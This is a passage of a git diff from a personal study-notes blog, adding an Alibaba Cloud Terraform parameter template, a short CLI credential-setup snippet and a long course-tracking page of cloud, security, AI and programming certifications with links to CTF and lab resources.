worker_instance_types = "Deprecated" + # password = "Deprecated" + # key_name = "Deprecated" + # kms_encrypted_password = "Deprecated" + # kms_encryption_context = "Deprecated" + # worker_instance_charge_type = "Deprecated" + # worker_period = "Deprecated" + # worker_period_unit = "Deprecated" + # worker_auto_renew = "Deprecated" + # worker_auto_renew_period = "Deprecated/1, 2, 3, 6, 12" + # worker_disk_category = "Deprecated" + # worker_disk_size = "Deprecated" + # worker_data_disks = "Deprecated" + # category = "Deprecated" + # size = "Deprecated" + # encrypted = "Deprecated" + # performance_level = "Deprecated" + # auto_snapshot_policy_id = "Deprecated" + # node_name_mode = "Deprecated" + # node_port_range = "Deprecated" + # os_type = "Deprecated" + # platform = "Deprecated" + # image_id = "Deprecated" + # cpu_policy = "Deprecated" + # user_data = "Deprecated" + # taints = "Deprecated" + # taints { + # key = "key-a" + # value = "value-a" + # effect = "NoSchedule" + # } + # worker_disk_performance_level = "Deprecated" + # worker_disk_snapshot_policy_id = "Deprecated" + # duplicate_install_cloud_monitor = "Deprecated" + + + # ++++++++++++++ Computed params ++++++++++++++ + kube_config = "---Optional/'~/.kube/config'" + client_cert = "---Optional/'~/.kube/client-cert.pem'" + client_key = "---Optional/'~/.kube/client-key.pem'" + cluster_ca_cert = "---Optional/'~/.kube/cluster-ca-cert.pem'" + availability_zone = "---Optional" + + + + # ++++++++++++++ Removed params ++++++++++++++ + worker_instance_type = "Deprecated" + vswitch_ids = "---Optional" + force_update = "---Optional/false" + log_config = "---Optional" + type = "---Optional/SLS" + project = "---Optional" + cluster_network_type = "---Optional/flannel/terway" + worker_data_disk_category = "---Optional" + worker_data_disk_size = "---Optional" + worker_numbers = "---Optional" +} +``` diff --git a/_posts/00CodeNote/terraform/Ali/setup.md b/_posts/00CodeNote/terraform/Ali/setup.md new file mode 100644 index 00000000000..d21d64bd680 --- /dev/null +++ b/_posts/00CodeNote/terraform/Ali/setup.md @@ -0,0 +1,36 @@ + + + + +``` +unset ALICLOUD_ACCESS_KEY +unset ALICLOUD_SECRET_KEY +unset ALICLOUD_SECURITY_TOKEN + + +aliyun configure set \ + --profile dev-admin \ + --mode StsToken \ + --region cn-beijing \ + --access-key-id $ALICLOUD_ACCESS_KEY \ + --access-key-secret $ALICLOUD_SECRET_KEY \ + --sts-token $ALICLOUD_SECURITY_TOKEN + +aliyun sts GetCallerIdentity \ + --endpoint sts.us-west-1.aliyuncs.com + +echo "Now login as admin"' + +export ALICLOUD_ACCESS_KEY=$(echo $my_role | jq -r .access_key_id) +export ALICLOUD_SECRET_KEY=$(echo $my_role | jq -r .access_key_secret) +export ALICLOUD_SECURITY_TOKEN=$(echo $my_role | jq -r .sts_token) + +export LAN=en +export REGION=cn-beijing + +arc-tool config set access_key_id $ALICLOUD_ACCESS_KEY +arc-tool config set access_key_secret $ALICLOUD_SECRET_KEY +arc-tool config set region $REGION +arc-tool config set language $LAN + +``` diff --git a/_posts/00LearningPath/2017-01-01-CourseREADME.md b/_posts/00LearningPath/2017-01-01-CourseREADME.md new file mode 100644 index 00000000000..d176ca3b169 --- /dev/null +++ b/_posts/00LearningPath/2017-01-01-CourseREADME.md @@ -0,0 +1,573 @@ +--- +title: Course - Learning Path +date: 2017-01-01 11:11:11 -0400 +categories: [00LearningPath] +tags: [LearningPath, code] +pin: true +toc: true +--- + +- [Course - Learning Path](#course---learning-path) + - [Cyber Security Career path](#cyber-security-career-path) + - [Cloud](#cloud) + - [GCP](#gcp) + - [AWS](#aws) + - [ALI](#ali) + - [Security](#security) + - [Security Course](#security-course) + - [Security Project/LAB](#security-projectlab) + - [AI courses](#ai-courses) + - [Programmnig and Computer Science](#programmnig-and-computer-science) + - [Machine Learning](#machine-learning) + - [Python](#python) + - [Java](#java) + - [Linux](#linux) + - [Course](#course) + - [link](#link) + - [other source](#other-source) + - [Tools:](#tools) + - [Lab Playground:](#lab-playground) + - [platform](#platform) + - [pending](#pending) + - [website](#website) + +--- + +# Course - Learning Path + +Little learning note. + +From class, online courses, blog, and many other sources. + +``` +sleepy.... + __∧_∧__ + /(*´o`)/\ +/| ̄∪∪ ̄|\/ + |__ _|/ + + +1. work example by hand +2. write down what you did +3. find patterns +4. check by hand +5. translate to code +6. run test cases +7. debug failed test +``` + +--- + +## Cyber Security Career path + +![IMG_1006](/assets/img/Fh8IBRdUoAAuOC5.jpeg) + +![IMG_1004](/assets/img/IMG_1004.JPG) + +![IMG_1005](/assets/img/IMG_1005.JPG) + +--- + +## Cloud + +--- + +### GCP + +| GCP Certificate | Mark | +| :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :--- | +| **coursera** | +| Certification: `GCP - Cloud Engineer Professional Certificate` | 🐰 | +| [COURSE 1 Google Cloud Platform Fundamentals: Core Infrastructure](https://www.coursera.org/learn/gcp-fundamentals?specialization=cloud-engineering-gcp) 06/15/21 | ✔️ | +| [COURSE 2 Essential Google Cloud Infrastructure: Foundation](https://www.coursera.org/learn/gcp-infrastructure-foundation?specialization=cloud-engineering-gcp) 06/20/21 | ✔️ | +| [COURSE 3 Essential Google Cloud Infrastructure: Core Services](https://www.coursera.org/learn/gcp-infrastructure-core-services?specialization=cloud-engineering-gcp) 06/29/21 | ✔️ | +| [COURSE 4 Elastic Google Cloud Infrastructure: Scaling and Automation](https://www.coursera.org/learn/gcp-infrastructure-scaling-automation?specialization=cloud-engineering-gcp) | ✏️ | +| [COURSE 5 Architecting with Google Kubernetes Engine: Foundations](https://www.coursera.org/learn/foundations-google-kubernetes-engine-gke?specialization=cloud-engineering-gcp) | ✏️ | +| [COURSE 6 Preparing for the Google Cloud Associate Cloud Engineer Exam](https://www.coursera.org/learn/preparing-cloud-associate-cloud-engineer-exam?specialization=cloud-engineering-gcp) | ✏️ | +| Certification: `Architecting with Google Kubernetes Engine Specialization` | 🐰 | +| [Google Cloud Platform Fundamentals: Core Infrastructure](https://www.coursera.org/specializations/architecting-google-kubernetes-engine?) | ✏️ | +| Certification: `Google Cloud Certification: Machine Learning Engineer Specialization` | 🐰 | +| [Google Cloud Big Data and Machine Learning Fundamentals](https://www.coursera.org/learn/gcp-big-data-ml-fundamentals/home/info) | ✔️ | +| **cloudacademy** | +| Certification: `Google Professional Cloud Architect Exam Preparation` | ✏️ | +| **GCP Webpage** | +| [all learning path](https://cloud.google.com/training#learning-paths) | + +**GCP all learning path** + +| Cloud Architect learning path | Cloud Engineer learning path | +| --------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------- | +| Cloud Architects design, develop, and manage robust and scalable cloud architecture solutions | Cloud Engineer deploys applications, monitors operations, and manages enterprise solutions. | +| `COURSE` | `COURSE` | +| Preparing for the Professional Cloud Architect Exam | Preparing for Your Associate Cloud Engineer Journey | +| Google Cloud Fundamentals: Core Infrastructure | Google Cloud Fundamentals: Core Infrastructure | +| Architecting with Google Compute Engine | Architecting with Google Compute Engine | +| Architecting with Google Cloud: Design and Process | _None_ | +| Getting Started with Google Kubernetes Engine | Getting Started with Google Kubernetes Engine | +| Logging, Monitoring and Observability in Google Cloud | Logging, Monitoring and Observability in Google Cloud | +| _None_ | Getting Started with Terraform for Google Cloud | +| `SKILL BADGE` | `SKILL BADGE` | +| Create and Manage Cloud Resources | Create and Manage Cloud Resources | +| Perform Foundational Infrastructure Tasks in Google Cloud | Perform Foundational Infrastructure Tasks in Google Cloud | +| Set Up and Configure a Cloud Environment in Google Cloud | Set Up and Configure a Cloud Environment in Google Cloud | +| Automating Infrastructure on Google Cloud with Terraform | Automating Infrastructure on Google Cloud with Terraform | +| Deploy and Manage Cloud Environments | _None_ | +| Optimize Costs for Google Kubernetes Engine | _None_ | + +--- + +### AWS + +| **AWS Certificate** | Mark | +| :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :------ | +| Certification: `AWS Cloud Practitioner (CLF-C01)` | 🐰 | +| [AWS-ACFv2EN-Interns](https://awsacademy.instructure.com/courses/69) - AWS Academy Cloud Foundations [Amazon Interns] 5/6/20 | ✔️ | +| [AWSTraining](https://www.aws.training/Details/Curriculum?id=27076) - AWS Cloud Practitioner Essentials (Second Edition) 5/8/20 | ✔️ | +| [LinuxAcademy](https://linuxacademy.com/cp/modules/view/id/376) - AWS Cloud Practitioner (CLF-C01) 6/14/20 | ✔️ | +| [Udemy](https://www.udemy.com/course/aws-certified-cloud-practitioner/) - AWS Certified Cloud Practitioner 2020 '300Q' 6/15/20 | ✔️ | +| Certification: `AWS Certified Solutions Architect – Associate` | 🐰 | +| [AWS-ACFv2EN-Interns](https://awsacademy.instructure.com/courses/374) - AWS Academy Cloud Architecting [Amazon Interns] 7/24/20 | ✔️ | +| [AWSTraining](https://www.aws.training/Details/Curriculum?id=20685) - Exam Readiness: AWS Certified Solutions Architect – Associate (Digital) 7.25 | ✔️ | +| [LinuxAcademy](https://linuxacademy.com/cp/modules/view/id/341) - AWS Certified Solutions Architect - Associate Level 6/14/20 | ✔️ | +| **Alexa** | +| `acloud` | --- | +| [all](https://learn.acloud.guru/search?query=alexa&page=1) | ✏️ | +| [Introduction to Alexa](https://learn.acloud.guru/course/intro-alexa-free/dashboard) | ✏️ soso | +| `qwiklabs` | --- | +| [all](https://run.qwiklabs.com/catalog?keywords=alexa&locale=&cloud%5B%5D=any&format%5B%5D=any&level%5B%5D=any&duration%5B%5D=any&modality%5B%5D=any&language%5B%5D=any) | ✏️ | +| [linuxacademy](https://app.linuxacademy.com/search?query=alexa) | ✏️ | +| `AWS internal` | --- | +| [knet--Alexa OE101](https://knet.csod.com/LMS/LoDetails/DetailsLo.aspx?loid=fc4f2400-66f4-4132-9183-439204619c1b&query=%3Fs%3D1%26q%3Dalexa&back_key=1&isCompletionRedirect=true&loStatus=16®num=1#t=1) | ✔️ | +| [kiku-AWS internal](https://kiku.aws.training/Details/Curriculum?id=25534) | ✏️ | +| [kiku-AWS internal](https://kiku.aws.training/Details/eLearning?id=34489) | ✏️ | +| [AWSacademy-ExamReadiness:AWS Certified Alexa Skill Builder-Specialty](https://kiku.aws.training/Details/eLearning?id=34489) | ✏️ | + +--- + +### ALI + +| **ALI Certificate** | Mark | +| :---------------------------------------------------------------------------------------------------------------------------------- | :--- | +| Certification: `ACP - Alibaba Cloud Professional` | 🐰 | +| `coursera` | --- | +| **Alibaba Cloud Computing Specialization** | ✏️ | +| [Cloud Computing Fundamentals on Alibaba Cloud](https://www.coursera.org/learn/alibaba-cloud-computing?specialization=alibabacloud) | ✏️ | +| Big Data Analytical Platform on Alibaba Cloud | ✏️ | +| Protecting Cloud Architecture with Alibaba Cloud | ✏️ | + +--- + +## Security + +--- + +### Security Course + +| Security | Mark | +| :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :--- | +| **Palo Alto Networks Product Training** | 🐰 | +| [Prisma Cloud Monitoring and Securing](https://beacon.paloaltonetworks.com/student/path/642700) 10/22/20 | ✔️ | +| [Prisma Cloud: Onboarding and Operationalizing](https://beacon.paloaltonetworks.com/student/path/642701) 10/28/20 | ✏️ | +| [Cortex XDR 2.0: Architecture, Analytics, and Causality Analysis (EDU-160)](https://beacon.paloaltonetworks.com/student/path/642702) 10/24/20 | ✔️ | +| [Cortex XDR: Managed Threat Hunting (EDU-194)](https://beacon.paloaltonetworks.com/student/path/644210/activity/687279) 10/27/20 | ✔️ | +| [Cortex Data Lake](https://beacon.paloaltonetworks.com/student/path/646288) 10/28/20 | ✔️ | +| [Palo Alto Networks Accredited Systems Engineer (PSE): Cortex Associate](https://beacon.paloaltonetworks.com/student/path/646118-palo-alto-networks-accredited-systems-engineer-pse-cortex-associate) 12/08/20 | ✔️ | +| **IBM Cybersecurity Analyst Professional Certificate** | +| [COURSE 1 Introduction to Cybersecurity Tools & Cyber Attacks](https://www.coursera.org/learn/introduction-cybersecurity-cyber-attacks?specialization=ibm-cybersecurity-analyst) 9/25/20 | ✔️ | +| [COURSE 2 Cybersecurity Roles, Processes & Operating System Security](https://www.coursera.org/learn/cybersecurity-roles-processes-operating-system-security?specialization=ibm-cybersecurity-analyst) | ✏️ | +| [COURSE 3 Cybersecurity Compliance Framework & System Administration](https://www.coursera.org/learn/cybersecurity-compliance-framework-system-administration?specialization=ibm-cybersecurity-analyst) | +| [COURSE 4 Network Security & Database Vulnerabilities](https://www.coursera.org/learn/network-security-database-vulnerabilities?specialization=ibm-cybersecurity-analyst) | +| [COURSE 5 Penetration Testing, Incident Response and Forensics](https://www.coursera.org/learn/ibm-penetration-testing-incident-response-forensics) | +| [COURSE 6 Cyber Threat Intelligence](https://www.coursera.org/learn/ibm-cyber-threat-intelligence) | +| [COURSE 7 Cybersecurity Capstone: Breach Response Case Studies](https://www.coursera.org/learn/ibm-cybersecurity-breach-case-studies) | +| [COURSE 8 IBM Cybersecurity Analyst Assessment](https://www.coursera.org/learn/ibm-cybersecurity-analyst-assessment) | +| [IBM Resilient SOAR Platform](https://www.securitylearningacademy.com/local/navigator/index.php?level=inre01&roadmaps=true) | +| **CISSP (Certified Information Systems Security Professional) Path** | +| [Physical Security](https://app.pluralsight.com/library/courses/physical-security/table-of-contents) 5/1/20 | ✔️ | +| **Web Application Penetration Testing Path** | +| [1. Web Application Penetration Testing Fundamentals](https://app.pluralsight.com/player?course=web-app-pentesting-fundamentals&author=mike-woolard&name=web-app-pentesting-fundamentals-m0&clip=0) 5/9/20 | ✏️ | +| **Computer Security and Systems Management** | +| [COURSE 3 Linux Server Management and Security](https://www.coursera.org/learn/linux-server-management-security) 4/13/20 | ✔️ | +| **Palo Alto Networks Cybersecurity** | +| [COURSE 1 Palo Alto Networks Academy Cybersecurity Foundation](https://www.coursera.org/learn/cybersecurity-foundation?specialization=palo-alto-networks-cybersecurity) | ✏️ | +| **linuxacademy Security Analyst - Entry Level** | +| [CompTIA Linux+ XK0-004 Certification Exam](https://linuxacademy.com/cp/modules/view/id/331) 6/6/20 | ✏️ | +| [Python 3 Scripting for System Administrators](https://linuxacademy.com/cp/modules/view/id/168) 7/1/20 | ✔️ | + +--- + +### Security Project/LAB + +| Project/LAB | Mark | +| :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :--- | +| [JPMorgan Chase Software Engineering Virtual Experience](https://www.theforage.com/virtual-internships/R5iK7HMxJGBgaSbvk) 10/03/20 | ✔️ | +| [Cloud-CTF-Cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat) - Walkthrough Note [📜](https://ocholuo.github.io/posts/CloudGoat/) | ✔️ | +| [Cloud-CTF-Flaws](https://flaws.cloud/) - Walkthrough Note [📜](https://ocholuo.github.io/posts/flaw/) | ✔️ | +| [Cloud-CTF-Flaws2](https://level1.flaws2.cloud/) - Walkthrough Note [📜](https://ocholuo.github.io/posts/flaw2/) | ✔️ | +| [PAN8 Cybersecurity Essentials](https://portal.netdevgroup.com/learn/pan8-ce-pilot/wb79h483WM) - Walkthrough Note [📜](https://ocholuo.github.io/posts/PAN8-Cybersecurity-Essentials/) | ✔️ | +| [PAN8 Cybersecurity Gateway](https://portal.netdevgroup.com/learn/pan8-cg-pilot/aiuWjM6CWr/) - Walkthrough Note [📜](https://ocholuo.github.io//posts/PAN8-Cybersecurity-Gateway/) | ✔️ | +| [Overthewire_bandit](https://overthewire.org/wargames/bandit/) - Walkthrough Note [📜](https://ocholuo.github.io/posts/Overthewire-bandit/) | ✔️ | +| **codecamp** | +| [Python for Penetration Testing Challenges](https://www.freecodecamp.org/learn/information-security/python-for-penetration-testing/) 9/10/20 | ✏️ | +| **Portswigger - Web Security Academy** | +| [SQL injection](https://portswigger.net/web-security/sql-injection) - Walkthrough Note [📜](https://ocholuo.github.io/posts/SQL-injection-Lab/) 11/20/20 | ✔️ | + +--- + +## AI courses + +| Security | Mark | Hours | +| ---------------------------------------------------------- | ---- | ----------------- | +| **DeepLearning.AI** | 🐰 | 🐰 | +| Generative AI with Large Language Models | ✏️ | Course 16 h | +| Finetuning Large Language Models | ✏️ | Project 1 h | +| LangChain Chat with Your Data | ✏️ | Project 1 h | +| Building Systems with the ChatGPT API | ✏️ | Project 1 h | +| ChatGPT Prompt Engineering for Developers | ✏️ | Project 1 h | +| Introduction to Retrieval Augmented Generation (RAG) | ✏️ | Video · 8 minutes | +| **Google Cloud** | 🐰 | 🐰 | +| Introduction to Large Language Models | ✏️ | Course 1 h | +| **IBM** | 🐰 | 🐰 | +| Tools for Data Science | | Course 18 h | +| - Introduction to Jupyter Notebooks | ✔️ | Video · 3 minutes | +| - Working with Jupyter Notebooks | ✔️ | Video · 4 minutes | +| - Understanding Jupyter Kernels and Working with Notebooks | ✔️ | Video · 2 minutes | +| - Jupyter Architecture Overview | ✔️ | Video · 2 minutes | +| - Anaconda Jupyter Environments | ✔️ | Video · 6 minutes | +| - Cloud-Based Jupyter Environments | ✔️ | Video · 4 minutes | +| - Retrieval-Augmented Generation Framework | ✔️ | Video · 7 minutes | +| **University of Michigan** | 🐰 | 🐰 | +| Generative AI Essentials: Overview and Impact | ✏️ | Course 3 h | +| **Duke University** | 🐰 | 🐰 | +| Retrieval Augmented Generation Overview | ✏️ | Video · 3 minutes | +| Retrieval Augmented Generation | ✏️ | Video · 4 minutes | +| Open Source LLMOps Solutions | ✏️ | Course 35 h | +| **Vanderbilt University** | 🐰 | 🐰 | +| Prompt Engineering for ChatGPT | ✏️ | Course 18 h | + +--- + +## Programmnig and Computer Science + +| Coursera Specialization | Mark | +| :--------------------------------------------------------------------- | :--- | +| **[CourseraLink] [UMich](https://www.coursera.org/umich)** - Main Page | 🐰 | +| **[CourseraLink] [DukeU](https://www.coursera.org/duke)** - Main Page | 🐰 | + +### Machine Learning + +| Coursera Specialization | Mark | +| :------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :--- | +| **DeepLearning.AI ---------------------------------------------------** | 🐰 | +| [DeepLearning.AI] [Generative AI with Large Language Models](https://www.coursera.org/programs/online-learning-for-apple/learn/generative-ai-with-llms?authProvider=apple) | ✏️ | +| **kaggle ---------------------------------------------------** | 🐰 | +| [ML - Python](https://www.kaggle.com/learn/python) 100% 8/13/21 | ✔️ | +| [ML - Intro to Machine Learning](https://www.kaggle.com/learn/intro-to-machine-learning) 100% 8/13/21 | ✔️ | +| [ML - Intermediate Machine Learning](https://www.kaggle.com/learn/intermediate-machine-learning) 100% 9/10/21 | ✔️ | +| :--------------------------------------------------------------------------------------------------- | :--- | + +### Python + +| Coursera Specialization | Mark | +| :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :--- | +| **Runestone ---------------------------------------------------------------------** | 🐰 | +| [Problem Solving with Algorithms and Data Structures using Python](https://runestone.academy/runestone/book/published/pythonds/index.html) | ✔️ | +| :--------------------------------------------------------------------------------------------------- | :--- | +| **UMich. Python 3 Programming ---------------------------------------------------** | 🐰 | +| [COURSE 1 Python Basics](https://www.coursera.org/learn/python-basics?specialization=python-3-programming) | ✔️ | +| [COURSE 2 Python Functions, Files, and Dictionaries](https://www.coursera.org/learn/python-functions-files-dictionaries?specialization=python-3-programming) | ✔️ | +| [COURSE 3 Data Collection and Processing with Python](https://www.coursera.org/learn/data-collection-processing-python?specialization=python-3-programming) | ✔️ | +| [COURSE 4 Python Classes and Inheritance](https://www.coursera.org/learn/python-classes-inheritance?specialization=python-3-programming) | ✔️ | +| [COURSE 5 Python Project: pillow, tesseract, and opencv](https://www.coursera.org/learn/python-project) 4/3/20 | ✔️ | +| **UMich. Python for Everybody ----------------------------------------------------** | 🐰 | +| [COURSE 1 Programming for Everybody](https://www.coursera.org/learn/python?specialization=python) | ✔️ | +| [COURSE 2 Python Data Structures](https://www.coursera.org/learn/python-data?courseSlug=python-data&showOnboardingModal=checkAndRedirect&specialization=python) | ✔️ | +| [COURSE 3 Using Python to Access Web Data](https://www.coursera.org/learn/python-network-data?courseSlug=python-network-data&showOnboardingModal=checkAndRedirect&specialization=python) 4/12 | ✏️ | + +### Java + +| Coursera Specialization | Mark | +| :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | :----------------------------------------------------------------------------- | +| **DukeU. Java Programming and Software Engineering Fundamentals Specialization --** | 🐰 [code](https://github.com/ocholuo/language/tree/master/0.project/javademo/) | +| [COURSE 1 Programming Foundations with JavaScript, HTML and CSS](https://www.coursera.org/learn/duke-programming-web?specialization=java-programming) 100% 9/2/20 | ✔️ | +| [COURSE 2 Java Programming: Solving Problems with Software](https://www.coursera.org/learn/java-programming?specialization=java-programming) 100% 9/6/20 | ✔️ | +| [COURSE 3 Java Programming: Arrays, Lists, and Structured Data](https://www.coursera.org/learn/java-programming-arrays-lists-data?specialization=java-programming) 100% 9/10/20 | ✔️ | +| `- Cryptography: Keeping Information Secret`
    `- GladLibs: Stories from Templates`
    `- Web Server Logs: From Logs to Visits`
    `- MiniProject: Vigenère Cipher` | +| [COURSE 4 Java Programming: Principles of Software Design](https://www.coursera.org/learn/java-programming-design-principles?specialization=java-programming) 9/17/20 | ✔️ | +| `- Earthquakes: Programming and Interfaces`
    `- Earthquakes: Sorting Algorithms`
    `- N-Grams: Predictive Text` | +| [COURSE 5 Java Programming: Build a Recommendation System](https://www.coursera.org/learn/java-programming-recommender) 100% 1/6/21 | ✔️ | +| `- give the movie recommendations by calculate the movie rating`
    `- user interface to add multiple Filter function for the movie rating` | +| **UMich. Web Design for Everybody: Basics of Web Development & Coding ------------** | 🐰 | +| [COURSE 1 Introduction to HTML5](https://www.coursera.org/learn/html?specialization=web-design) | ✔️ | +| [COURSE 3 Interactivity with JavaScript](https://www.coursera.org/learn/javascript?specialization=web-design) | ✔️ | +| :--------------------------------------------------------------------------------------------------- | :--- | + +### Linux + +| Coursera Specialization | Mark | +| :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :--- | +| **LFCE (Linux Foundation Certified Engineer) Path --------------------------------** | 🐰 | +| [LFCE: Advanced Linux Networking](https://app.pluralsight.com/library/courses/linux-networking-advanced-lfce/table-of-contents) 4/18/20 | ✔️ | +| [LFCE: Advanced Network and System Administration](https://app.pluralsight.com/course-player?clipId=6f88f6c6-bea4-405e-b4c1-7bf38255c33c) | ✔️ | +| [LFCE: Network and Host Security](https://app.pluralsight.com/player?course=security-network-host-lfce&author=anthony-nocentino&name=security-network-host-lfce-m0&clip=0) | ✔️ | +| [LFCE: Linux Service Management - HTTP Services](https://app.pluralsight.com/library/courses/linux-http-services-administration/table-of-contents) 5/24/20 | ✔️ | +| [LFCE: Linux Service Management - Advanced HTTP Services](https://app.pluralsight.com/player?course=https-advanced-services-linux-lfce&author=anthony-nocentino&name=5fcf9867-8ecc-42f3-af73-00a287ae7728&clip=0&mode=live) | ✔️ | +| [LFCE: Linux Service Management - Advanced Email Services](https://app.pluralsight.com/library/courses/linux-service-management-advanced-email-services/table-of-contents) | ✏️ | + +--- + +## Course + +| name | link | +| -------------- | ------------------------------------------------------------------------------------------------------------- | +| stanford - HAI | https://hai.stanford.edu/education/courses | +| . | APPPHYS 229: Statistical Mechanics of Learning and Computation | +| . | APPPHYS 293: Theoretical Neuroscience (PSYCH 242) | +| . | BIOE 131: Ethics in Bioengineering (ETHICSOC 131X) | +| . | BIOE 214: Representations and Algorithms for Computational Molecular Biology (BIOMEDIN 214, CS 274, GENE 214) | +| . | CS 139: Human-Centered AI | +| . | CS 231N: Deep Learning for Computer Vision | +| . | CS 323: The AI Awakening: Implications for the Economy and Society | +| . | ENGLISH 106A: Black Mirror: A.I.Activism | +| . | MED 277: AI-Assisted Care (CS 337) | +| . | MUSIC 356: Music and AI (CS 470) | +| . | PHIL 20N: Philosophy of Artificial Intelligence | + +--- + +## link + +| **official doc** | Link | +| ------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------- | +| Python | [The Python Tutorial](https://docs.python.org/3/tutorial/) | +| **AWSCerSheet** | +| AWS | [1](https://github.com/alozano-77/AWS-SAA-C02-Course/blob/master/README.md) | +| **Code test environment** | +| . | [JavaScript](https://www.dukelearntoprogram.com//course1/example/index.php) | +| . | [DS visualgo](https://visualgo.net/en/sorting?slide=1) | +| **Web** | +| [crunchbase](https://www.crunchbase.com/hub/united-states-cloud-security-companies) | company search | +| **API Gene** | +| [apigee](https://cloud.google.com/apigee/) | +| [8 open-source API tools](https://techbeacon.com/app-dev-testing/8-open-source-tools-will-lift-your-api-game) | +| [PrograrmmableWeb] | +| **API Gene** | +| [WiCys](https://www.wicys.org/about) | +| [SANS](https://www.sans.org/) | +| [The Open Web Application Project (OWASP)](https://www.owasp.org/index.php/Category:OWASP_Project#tab=Project_Inventory) | +| [Information Systems Security Association (ISSA)](https://www.issa.org/) | +| [Forum of Incident Response and Security Teams (FIRST)](https://www.first.org/membership/benefits) | +| [COMPUTER SECURITY RESOURCE CENTER](https://csrc.nist.gov/) | + +--- + +## other source + +| Specialization | Course Name | Mark | +| -------------- | --------------------------------------------------------------------------------------------------------------------------------------- | ---- | +| **APP** | | +| Tableau | [Training Videos](https://www.tableau.com/learn/training/20201) 5/3/20 | ✏️ | +| **other** | | +| other | [Business Dashboard Fundamentals](https://app.pluralsight.com/library/courses/business-dashboard-fundamentals/table-of-contents) 5/3/20 | ✔️ | + +
    + +| course less recommend | Mark | +| :--------------------------------------------------------------------------------------------------------------- | :-------- | +| **[Coursera] `Fundamentals of Computer Network Security** | +| [1. Design and Analyze Secure Networked Systems](https://www.coursera.org/learn/design-secure-networked-systems) | :warning: | + +Network Security & Database Vulnerabilities https://www.coursera.org/learn/network-security-database-vulnerabilities + +--- + +## Tools: + +| Name | S | Mark | +| --------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------- | ----------------------- | +| [Play with Docker](https://labs.play-with-docker.com/?stack=https://raw.githubusercontent.com/RhinoSecurityLabs/cloudgoat/master/docker_stack.yml#) | ![Screenshot 2022-12-05 at 21.50.28](https://i.imgur.com/oEviwrk.png) | run docker command | +| [CodeSearch](https://sourcegraph.com/github.com/liqotech/liqo/-/blob/pkg/liqonet/tunnel/metrics/metrics.go?L30:2) | ![Screenshot 2022-12-05 at 21.48.30](https://i.imgur.com/IhKY4XX.png) | search for example code | +| [Go playground]https://go.dev/tour/moretypes/6 | + +--- + +## Lab Playground: + +| Name | S | Mark | +| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------- | ---- | +| [TRAFFIC ANALYSIS EXERCISE](https://malware-traffic-analysis.net/training-exercises.html) | [S](https://github.com/ocholuo/language/tree/master/codegame/TrafficAnalysisExe.md) | ✏️ | +| [premiumexam](https://premiumexam.com/)
    pic | +| [NDG Online Courses & Labs](https://www.netdevgroup.com/online/courses/cybersecurity#courses)
    pic | +| [vmware HOL online](https://www.vmwarelearningplatform.com/HOL/catalogs/catalog/1212)
    pic | +| [junosgenius](https://cloud.contentraven.com/junosgenius/index)
    pic | +| [cisco](https://devnetsandbox.cisco.com/RM/Topology)
    pic | + +--- + +## platform + +| platform | goal | +| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------- | +| Certification: [aws educate](https://www.awseducate.com/signin/SiteLogin)
    pic | aws learning resource | +| Certification: [aws academy](https://awsacademy.instructure.com/courses/69/pages/webinar-q-and-a)
    pic | aws learning resource | +| Certification: [aws training](https://www.aws.training/SignIn)
    pic | aws learning resource | +| Certification: [eventbrite](https://www.eventbrite.com/u/487798027239/) | ticket for evert | + +--- + +## pending + +| [Coursera Specialization] | Mark | +| :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :--- | +| [Getting Started with AWS Machine Learning](https://www.coursera.org/learn/aws-machine-learning?edocomorp=cloud-technology-free-courses&ranMID=40328&ranEAID=SAyYsTvLiGQ&ranSiteID=SAyYsTvLiGQ-PGabNbN8S6jTghHFFXdf3w&siteID=SAyYsTvLiGQ-PGabNbN8S6jTghHFFXdf3w&utm_content=10&utm_medium=partners&utm_source=linkshare&utm_campaign=SAyYsTvLiGQ) | +| [Google Cloud Platform Fundamentals for AWS Professionals](https://www.coursera.org/learn/gcp-fundamentals-aws?edocomorp=cloud-technology-free-courses&ranMID=40328&ranEAID=SAyYsTvLiGQ&ranSiteID=SAyYsTvLiGQ-F.z0VIYeKtN5Gi0Lxvlh8w&siteID=SAyYsTvLiGQ-F.z0VIYeKtN5Gi0Lxvlh8w&utm_content=10&utm_medium=partners&utm_source=linkshare&utm_campaign=SAyYsTvLiGQ) | +| [Build Your First Android App (Project-Centered Course)](https://www.coursera.org/learn/android-app?edocomorp=free-courses-college-students&ranMID=40328&ranEAID=SAyYsTvLiGQ&ranSiteID=SAyYsTvLiGQ-3_6ELfVQtT1DPiposvj.Vw&siteID=SAyYsTvLiGQ-3_6ELfVQtT1DPiposvj.Vw&utm_content=10&utm_medium=partners&utm_source=linkshare&utm_campaign=SAyYsTvLiGQ) | +| [AWS Computer Vision: Getting Started with GluonCV](https://www.coursera.org/learn/aws-computer-vision-gluoncv?edocomorp=cloud-technology-free-courses&ranMID=40328&ranEAID=SAyYsTvLiGQ&ranSiteID=SAyYsTvLiGQ-t2liqsGREqcUGXGTf8cSlQ&siteID=SAyYsTvLiGQ-t2liqsGREqcUGXGTf8cSlQ&utm_content=10&utm_medium=partners&utm_source=linkshare&utm_campaign=SAyYsTvLiGQ) | +| [Industrial IoT on Google Cloud Platform](https://www.coursera.org/learn/iiot-google-cloud-platform?edocomorp=cloud-technology-free-courses&ranMID=40328&ranEAID=SAyYsTvLiGQ&ranSiteID=SAyYsTvLiGQ-VwnGMabqmzrsWWZS5dtNcg&siteID=SAyYsTvLiGQ-VwnGMabqmzrsWWZS5dtNcg&utm_content=10&utm_medium=partners&utm_source=linkshare&utm_campaign=SAyYsTvLiGQ) | +| [Building Conversational Experiences with 